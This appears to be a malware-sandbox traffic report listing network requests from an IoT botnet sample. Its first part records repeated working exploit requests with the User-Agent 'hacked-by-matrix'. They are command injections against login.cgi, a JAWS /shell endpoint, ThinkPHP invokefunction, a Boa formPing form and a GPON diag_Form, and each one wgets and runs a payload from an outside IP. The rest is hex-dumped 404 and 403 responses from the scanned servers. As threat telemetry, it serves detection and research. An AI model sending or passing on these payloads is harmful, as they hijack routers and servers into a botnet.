Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c6aab3-157"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:25 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 38 3a 61 30 3a 37 30 64 38 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:25 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 311Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML P
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:17:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:28 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 6d 69 31 37 33 35 37 36 31 2e 63 6f 6e 74 61 62 6f 73 65 72 76 65 72 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:28 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 320Connection: closeContent-Type: text/html; charset=iso
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0Server: HTTPDDate: Thu, 21 Mar 2024 04:17:29 GMTConnection: closeContent-Type: text/htmlX-Frame-Options: SAMEORIGIN
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:30 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 292Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Thu, 21 Mar 2024 04:17:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 21 Mar 2024 04:17:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:31 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:17:33 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=utf-8Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:20:39 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1753Content-Type: text/htmlServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETDate: Thu, 21 Mar 2024 04:19:18 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 